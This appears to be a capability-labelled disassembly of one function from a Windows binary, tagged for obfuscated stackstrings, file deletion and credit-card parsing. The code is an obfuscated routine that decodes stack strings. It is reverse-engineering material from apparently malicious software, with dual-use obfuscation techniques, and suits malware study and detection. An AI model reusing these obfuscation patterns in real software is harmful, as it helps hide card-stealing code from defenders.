Function at 0x1402132b0
Capabilities:
Contain obfuscated stackstrings
Delete file
Parse credit card information
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x390]
sub rsp, 0x490
mov dword [rbp - 0x40], 0x3c352c50
mov dword [rbp - 0x3c], 0x2322205f
mov dword [rbp - 0x38], 0x465b6674
mov dword [rbp - 0x34], 0x2b375b70
mov dword [rbp - 0x30], 0x3a245631
mov dword [rbp - 0x2c], 0xdfcb6b36
mov dword [rbp - 0x28], 0xa99185c9
mov byte [rbp - 0x24], 0x60
xor eax, eax
mov dword [rbp - 0x23], eax
mov word [rbp - 0x1f], ax
mov byte [rbp - 0x1d], al
movabs r13, 0xb7cf2cd4d4d734ea
movabs r14, 0x13fead7575a75732
movabs r15, 0xcd7d578f90d9bb0e
movabs r12, 0x5ddefde5e72b513a
movabs r10, 0xee40a43c3d7ce766
movzx r11d, byte [rbp + 0x3c0]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1404e35d0]
mov r9, qword [0x1404e35c8]
nop
xor edi, edi
cmp rdi, 0x24
jae 0x140213fa1
movzx ebx, byte [rbp + rdi - 0x40]
movzx esi, bl
cmp r8, rdi
ja 0x140213f98
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1402133b0
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x66
jmp 0x1402133f7
je 0x140213f24
lea rax, [r9 + 3]
cmp r8, rax
je 0x140213ea3
lea rax, [r9 + 4]
cmp r8, rax
je 0x140213e67
lea rax, [r9 + 5]
cmp r8, rax
je 0x140213e4e
lea rax, [r9 + 2]
cmp r8, rax
je 0x140213e14
lea rax, [r9 + 7]
cmp r8, rax
je 0x140213dbf
movzx esi, bl
nop word [rax + rax]
cmp r9, rdi
ja 0x140213f8f
lea rdx, [r9 + 8]
cmp r8, rdx
jae 0x14021342d
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, sil
sub r11b, al
sub r11b, 0x5e
add r11b, dl
jmp 0x140213470
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140213da4
lea rax, [r9 + 3]
cmp r8, rax
je 0x140213d80
lea rax, [rcx + 1]
cmp r8, rax
je 0x140213d64
lea rax, [r9 + 4]
cmp r8, rax
je 0x140213d46
cmp r8, rdx
je 0x140213d1a
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140213a4e
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140213a3c
lea rax, [r9 + 6]
cmp r8, rax
je 0x140213a0e
lea rcx, [r9 + 8]
cmp r8, rcx
je 0x1402139e7
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1402139c3
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14021399f
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14021397a
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140213966
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140213942
lea rax, [r9 + 2]
cmp r8, rax
je 0x140213913
lea rax, [r9 + 3]
cmp r8, rax
je 0x140213480
mov r8, rcx
lea r9, [rcx + 0x1000]
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x140213f73
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x140213f53
lea rcx, [r9 + 1]
cmp r8, rcx
jb 0x14021366f
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140213650
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140213632
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1402138c0
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14021386b
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14021381f
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1402137f2
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140213480
mov r8, rcx
lea r9, [rcx + 0x42]
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x1402137bf
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x14021379b
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x14021377a
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x140213755
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x14021372d
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x140213708
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x1402136e1
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x1402136b7
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x14021368e
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x140213480
lea r8, [r9 + 4]
lea r9, [r8 + 9]
jmp 0x140213480
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, sil
sub r11b, al
sub r11b, 0x62
add r11b, dl
jmp 0x140213470
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, sil
add r11b, dl
jmp 0x140213400
lea rdx, [rdi + r10]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, sil
add r11b, dl
jmp 0x140213384
movabs rcx, 0x9ff56babad3ab990
add rcx, rdi
and bl, cl
mov eax, 8
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
movzx r10d, dil
jmp 0x140213de0
movabs rax, 0x30571202038c4fbc
add rax, rdi
and bl, al
add bl, bl
sub sil, bl
lea r11d, [rax + rsi]
sub r11b, 0x24
inc r9
dec rdi
inc rdi
jmp 0x140213372
movabs rax, 0xc0b8b85859dde5e8
add rax, rdi
and bl, al
add bl, bl
sub sil, bl
lea r11d, [rax + rsi]
sub r11b, 0x58
dec rdi
inc rdi
jmp 0x140213372
movabs rcx, 0x511a5eaeb02f7c14
add rcx, rdi
and bl, cl
mov eax, Ordinal_60
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
jmp 0x140213e2b
movabs rcx, 0xe17c050506811240
add rcx, rdi
and bl, cl
mov eax, reloc.WLDAP32.dll_Ordinal_32
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
add r8, r9
jmp 0x140213e8a
movabs rcx, 0x71ddab5b5cd2a86c
add rcx, rdi
and bl, cl
mov eax, 6
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
jmp 0x140213e8a
movabs rcx, 0x23f51b1b3243e98
add rcx, rdi
and bl, cl
add bl, bl
movzx r11d, sil
sub r11b, bl
sub r11b, 0x28
jmp 0x140213ec0
movabs rcx, 0x92a0f8080975d4c4
add rcx, rdi
and bl, cl
add bl, bl
movzx r11d, sil
sub r11b, bl
sub r11b, 0x5c
add r11b, cl
jmp 0x140213eea
movabs rcx, 0x23029e5e5fc76af0
add rcx, rdi
and bl, cl
mov eax, gethostname
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140213372
movabs rcx, 0x8bf6be363793625e
add rcx, rdi
and bl, cl
mov eax, gethostname
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
mov byte [rbp + rdi - 0x40], r11b
inc rdi
jmp 0x140213372
movabs rdx, 0x1c58648c8de4f88a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, sil
add r11b, dl
cmp r9, 3
jb 0x140213812
movzx r10d, dil
lea ecx, [r10 + 0x3c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x48]
movzx esi, bl
jmp 0x140213de0
movabs rdx, 0xacba0ae2e4368eb6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, sil
add r11b, dl
cmp r8, 0xa
jae 0x140213ce2
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x140213c46
lea edx, [rdi - 0xc]
movzx eax, dl
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140213842
movabs rcx, 0x3d1bb1393a8824e2
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub sil, al
lea r11d, [rcx + rsi]
sub r11b, 0x2e
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x140213d02
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x140213b70
lea ecx, [rdi - 0x3e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4e
jmp 0x14021388e
movabs rax, 0x77f810c0c1ec0b2c
add rax, rdi
and bl, al
add bl, bl
sub sil, bl
lea r11d, [rax + rsi]
sub r11b, 0x34
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140213372
movabs rcx, 0x859b717183da158
add rcx, rdi
and bl, cl
add bl, bl
movzx r11d, sil
sub r11b, bl
sub r11b, 0x68
add r11b, cl
jmp 0x140213eea
movabs rcx, 0x98bb5d6d6e8f3784
mov eax, reloc.WLDAP32.dll_Ordinal_50
jmp 0x140213eb2
movabs rcx, 0x291d03c3c4e0cdb0
add rcx, rdi
and bl, cl
mov eax, Ordinal_26
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
jmp 0x140213e8a
movabs rax, 0xb97eaa1a1b3263dc
add rax, rdi
and bl, al
add bl, bl
sub sil, bl
lea r11d, [rax + rsi]
sub r11b, 4
add r8, r9
jmp 0x140213e8a
movabs rcx, 0x49e050707183fa08
add rcx, rdi
and bl, cl
add bl, bl
movzx r11d, sil
sub r11b, bl
sub r11b, 0x38
add r11b, cl
jmp 0x140213e2b
movabs rax, 0xda41f6c6c7d59034
add rax, rdi
and bl, al
add bl, bl
sub sil, bl
lea r11d, [rax + rsi]
sub r11b, 0x6c
dec rdi
inc rdi
jmp 0x140213372
movabs rcx, 0x6aa39d1d1e272660
add rcx, rdi
and bl, cl
mov eax, Ordinal_50
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
inc r9
dec rdi
inc rdi
jmp 0x140213372
movzx r10d, dil
lea edx, [r10 - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140213dcf
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140213a70
lea ecx, [rdi - 0x16]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x66
jmp 0x1402138df
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140213aa5
lea edx, [rdi + 0x64]
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140213372
inc rax
cmp r8, rax
jne 0x140213ac6
lea ecx, [rdi + 0xc]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
jmp 0x140213ec3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140213aed
lea edx, [rdi - 0x78]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140213e2b
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140213b1a
lea edx, [rdi + 0x5c]
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140213372
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140213b45
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
inc r9
dec rdi
inc rdi
jmp 0x140213372
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1402138df
movzx r10d, dil
lea ecx, [r10 + 4]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x140213de0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140213b9a
movzx r10d, dil
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1a
movzx esi, bl
jmp 0x140213de0
inc rax
cmp r8, rax
jne 0x140213bc6
lea edx, [rdi + 0x3e]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140213372
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140213be8
lea ecx, [rdi - 0x46]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x16
jmp 0x140213e8a
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140213c12
lea edx, [rdi - 0x72]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx esi, bl
jmp 0x140213ec3
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14021388e
lea ecx, [rdi + 0x36]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7a
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140213372
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140213c76
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140213372
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140213c9b
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
movzx esi, bl
jmp 0x140213ec3
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140213cc3
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x140213372
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140213842
movzx r10d, dil
lea edx, [r10 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140213dcc
lea edx, [rdi + 0x10]
movzx eax, dl
and al, bl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x70
add r11b, dl
add r11b, bl
jmp 0x140213e28
lea ecx, [rdi - 0x1c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rcx - 0x3c]
movzx esi, bl
jmp 0x140213ec3
lea edx, [rdi - 0x5a]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140213372
lea edx, [rdi - 2]
movzx eax, dl
and al, bl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140213ec3
lea ecx, [rdi + 0x56]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5a
add r8, r9
jmp 0x140213e8a
lea edx, [rdi - 0x52]
movzx eax, dl
and al, bl
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140213372
movzx r10d, dil
lea ecx, [r10 + 6]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2a
jmp 0x140213de0
movzx r10d, dil
lea edx, [r10 + 0x5e]
mov ecx, gethostname
movzx esi, bl
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r10b, 0x26
movzx eax, r10b
and al, sil
add al, al
sub r10b, al
sub r10b, 0xa
add r10b, sil
mov byte [rbp + rdi - 0x40], r10b
movabs r10, 0xee40a43c3d7ce766
inc r9
dec rdi
inc rdi
jmp 0x140213372
lea ecx, [rdi - 0x1e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2e
movzx esi, bl
lea ecx, [rdi - 6]
movzx eax, cl
and al, sil
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, al
add dl, dl
add dl, cl
add dl, sil
add dl, r11b
mov byte [rbp + rdi - 0x40], dl
add r8, r9
jmp 0x140213e8a
lea ecx, [rdi + 0xe]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x62
add r8, r9
jmp 0x140213e8a
movabs rdx, 0x7648937b7b90dc3a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140213372
movabs rcx, 0x6aa39d1d1e27266
mov eax, reloc.WLDAP32.dll_Ordinal_27
add rcx, rdi
and bl, cl
sub al, bl
lea r11d, [rax + rax]
add r11b, sil
add r11b, cl
lea edx, [rdi - 0x32]
movzx eax, dl
and al, sil
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, sil
movzx eax, cl
mov byte [rbp + rdi - 0x40], al
inc r9
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x48]
movzx eax, cl
and al, sil
add al, al
sub cl, al
sub cl, 8
add cl, sil
mov byte [rbp + rdi - 0x40], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140213372
movabs rax, 0x276d867e7e859ebe
add rax, rdi
and bl, al
add bl, bl
sub sil, bl
lea r11d, [rax + rsi]
sub r11b, 0x32
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140213372
sub dil, 0x6e
movzx eax, dil
and al, bl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, bl
jmp 0x140213370
sub dil, 0x42
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r11d, [rbx + rdi]
sub r11b, 0x32
jmp 0x140213360
lea rdx, [rbp + 0x1578cf8]
jmp 0x140213fa5
lea rdx, [rbp + 0xaec1e2]
jmp 0x140213fa5
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xf0]
call fcn.1400495d0
mov rcx, rax
call fcn.1402180e0
mov dword [rbp + 0xb0], 0x9294b383
mov dword [rbp + 0xb4], 0x6e986361
mov dword [rbp + 0xb8], 0x869c6477
mov dword [rbp + 0xbc], 0x90606079
mov dword [rbp + 0xc0], 0x87babc69
mov dword [rbp + 0xc4], 0x79777f8e
mov dword [rbp + 0xc8], 0x8f757389
mov dword [rbp + 0xcc], 0x73716e77
mov dword [rbp + 0xd0], 0x8e468681
mov word [rbp + 0xd4], 0x8891
mov byte [rbp + 0xd6], Ordinal_33
xorps xmm0, xmm0
movups xmmword [rbp + 0xd7], xmm0
movabs r15, 0xc4f0277c6437855f
movabs r12, 0x62911466bd84a599
movabs r13, 0xd8b0c56df5159adb
movabs r14, 0x4ed076752ca6901d
movzx r8d, byte [rbp + 0x3c0]
nop dword [rax]
mov r9, qword [0x1404e35d0]
mov r10, qword [0x1404e35c8]
nop
xor ebx, ebx
movzx edx, r8b
mov r8, rbx
cmp rbx, 0x37
jae 0x14021478a
movzx r11d, byte [rbp + rbx + 0xb0]
mov edi, r11d
nop
cmp r9, rbx
ja 0x140214781
lea rax, [r10 + 1]
cmp r9, rax
jae 0x1402140bb
lea rcx, [rbx + r15]
mov eax, r11d
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, r11
add rdx, rcx
add dl, 0x67
jmp 0x1402140e7
je 0x140214717
inc rax
cmp r9, rax
je 0x1402146be
lea rax, [r10 + 2]
cmp r9, rax
je 0x14021467e
lea rax, [r10 + 4]
cmp r9, rax
je 0x14021465d
cmp r10, rbx
ja 0x140214778
lea rdi, [r10 + 1]
cmp r9, rdi
jae 0x14021410e
lea edx, [rbx - 0x35]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
add dl, 0x73
add dl, r11b
jmp 0x140214140
je 0x140214618
lea rax, [rdi + 1]
cmp r9, rax
je 0x1402145f3
lea rax, [r10 + 2]
cmp r9, rax
je 0x1402145c3
lea rax, [r10 + 7]
cmp r9, rax
je 0x1402145a5
nop dword [rax + rax]
lea rsi, [r10 + r9]
cmp rsi, rbx
jbe 0x14021427e
nop dword [rax]
lea rax, [r10 + 6]
cmp r9, rax
je 0x140214262
lea rax, [r10 + 0x41]
cmp r9, rax
je 0x14021423a
lea rax, [r10 + 0x64]
cmp r9, rax
je 0x140214218
lea r9, [r10 + 0x400]
lea r10, [r9 + 0x64]
lea rax, [r10 + 0x20]
cmp r9, rax
jb 0x14021475d
lea rax, [r10 + 0x400]
cmp r9, rax
jb 0x140214742
lea r9, [r10 + 0x64]
lea r10, [r9 + 0x20]
lea rax, [r10 + 8]
cmp r9, rax
ja 0x1402141e8
lea rax, [r10 + 0x64]
cmp r9, rax
ja 0x1402141cc
lea rax, [r10 + 0x5a]
cmp r9, rax
ja 0x140214150
lea r9, [r10 + 0x20]
lea r10, [r9 + 8]
jmp 0x140214150
add r8b, 0x26
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
sub r8b, 0xa
add r8b, r11b
jmp 0x1402146d3
add r8b, 0x68
movzx eax, r11b
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r11b
add r8b, cl
movzx eax, byte [rbp + rbx + 0xb0]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140214072
sub r8b, 0x36
movzx eax, r11b
and al, r8b
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r11b
add r8b, cl
add r9, r10
jmp 0x1402145da
sub r8b, 0x70
movzx eax, r11b
and al, r8b
mov ecx, 8
sub cl, al
add cl, cl
add cl, r11b
add r8b, cl
inc r10
dec rbx
inc rbx
jmp 0x140214072
sub r8b, 0x2e
movzx eax, r11b
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
add cl, cl
add cl, r11b
jmp 0x14021462f
cmp r9, rdi
jae 0x140214324
lea edx, [rbx + 0x5f]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x67
add dl, cl
cmp rsi, 0x42
je 0x14021457f
lea rax, [r10 + 0x10]
cmp r9, rax
jbe 0x1402143cf
sub r8b, 0x5d
movzx eax, r11b
and al, r8b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x75
add dl, r8b
cmp r9, 0x10
jae 0x14021453f
lea rax, [r10 + 6]
cmp r9, rax
jbe 0x14021449a
lea edx, [rbx + 0x6e]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 2
add dl, cl
cmp r10, 6
jb 0x14021452c
lea edx, [rbx - 0x26]
movzx eax, r11b
and al, dl
mov ecx, 5
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r8d, [rcx + rcx]
jmp 0x140214632
jne 0x140214353
sub r8b, 0x6a
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
sub r8b, 0x1a
add r8b, r11b
movzx eax, byte [rbp + rbx + 0xb0]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140214072
lea rax, [r10 + 3]
cmp r9, rax
jne 0x14021437b
add r8b, 0x12
movzx eax, r11b
and al, r8b
add al, al
movzx ecx, r11b
sub cl, al
sub r8b, 0x7e
add r8b, cl
jmp 0x140214693
lea rax, [r10 + 4]
cmp r9, rax
jne 0x1402143a6
add r8b, 0xa
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
sub r8b, 0x46
add r8b, r11b
dec rbx
inc rbx
jmp 0x140214072
lea rax, [r10 + 6]
cmp r9, rax
jne 0x14021429d
sub r8b, 0x7a
movzx eax, r11b
and al, r8b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r11b
jmp 0x14021462f
cmp r9, rdi
jne 0x1402143f0
add r8b, 0x61
movzx eax, r11b
and al, r8b
add al, al
movzx ecx, r11b
sub cl, al
add r8b, 0x59
jmp 0x14021462f
lea rax, [r10 + 2]
cmp r9, rax
jne 0x14021441b
sub r8b, 0x23
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
sub r8b, 0xb
add r8b, r11b
dec rbx
inc rbx
jmp 0x140214072
lea rax, [r10 + 5]
cmp r9, rax
jne 0x140214438
add r8b, 0x17
movzx eax, r11b
and al, r8b
add r8b, 0x5f
jmp 0x1402145d2
lea rax, [r10 + 7]
cmp r9, rax
jne 0x140214460
sub r8b, 0x2b
movzx eax, r11b
and al, r8b
add al, al
movzx ecx, r11b
sub cl, al
add r8b, 0x2d
add r8b, cl
jmp 0x140214693
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1402142cd
add r8b, 0x51
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
sub r8b, 0x37
add r8b, r11b
movzx eax, byte [rbp + rbx + 0xb0]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140214072
lea rax, [r10 + 1]
cmp r9, rax
jne 0x1402144cf
lea ecx, [rbx + 0x2c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r8d, [rcx + r11]
sub r8b, 0x34
movzx eax, byte [rbp + rbx + 0xb0]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140214072
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1402144f7
lea edx, [rbx + 0x66]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r11b
add r8b, dl
jmp 0x1402145da
lea rax, [r10 + 7]
cmp r9, rax
jne 0x1402142fa
lea edx, [rbx + 0x5e]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r11b
add r8b, dl
inc r10
dec rbx
inc rbx
jmp 0x140214072
mov byte [rbp + rbx + 0xb0], dl
movzx r8d, dl
inc rbx
jmp 0x140214072
lea ecx, [rbx - 0x68]
movzx eax, r11b
and al, cl
add al, al
movzx r8d, r11b
sub r8b, al
add r8b, r11b
sub cl, 0x28
add r8b, cl
lea edx, [rbx - 9]
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r8b
sub cl, al
add cl, 0x3f
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xb0], cl
add r9, r10
jmp 0x1402145da
lea edx, [rbx + 0x56]
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
sub r8b, byte [rbp + rbx + 0xb0]
sub r8b, 0x5a
add r8b, dl
jmp 0x140214693
lea edx, [rbx - 3]
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
add r8b, 0x15
add r8b, dl
jmp 0x140214693
add r8b, 0x3f
movzx eax, r11b
and al, r8b
add r8b, 0x47
add al, al
sub r11b, al
add r8b, r11b
movzx eax, r8b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140214072
add r8b, 0x47
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
add r8b, 0xf
add r8b, r11b
inc r10
dec rbx
inc rbx
jmp 0x140214072
sub r8b, 0x77
movzx eax, r11b
and al, r8b
add al, al
movzx ecx, r11b
sub cl, al
add r8b, 0x41
add r8b, cl
lea ecx, [rbx + 0x39]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x71
add r11b, cl
mov byte [rbp + rbx + 0xb0], r11b
inc r10
dec rbx
inc rbx
jmp 0x140214072
lea ecx, [rbx - 0x6f]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r8d, [rcx + r11]
add r8b, 9
dec rbx
inc rbx
jmp 0x140214072
lea rax, [rbx + r12]
and dil, al
add dil, dil
sub al, dil
lea r8d, [r11 + rax]
sub r8b, 0x2f
lea edx, [rbx - 0x4b]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0xd
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xb0], al
inc r10
add rax, r10
sub rbx, rax
jmp 0x1402146d3
lea rax, [rbx + r13]
and dil, al
add dil, dil
sub al, dil
lea r8d, [r11 + rax]
add r8b, 3
lea edx, [rbx + 0x14]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xb0], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xb0]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140214072
lea rax, [rbx + r14]
and dil, al
add dil, dil
sub al, dil
lea r8d, [r11 + rax]
add r8b, 0x35
movzx eax, byte [rbp + rbx + 0xb0]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140214072
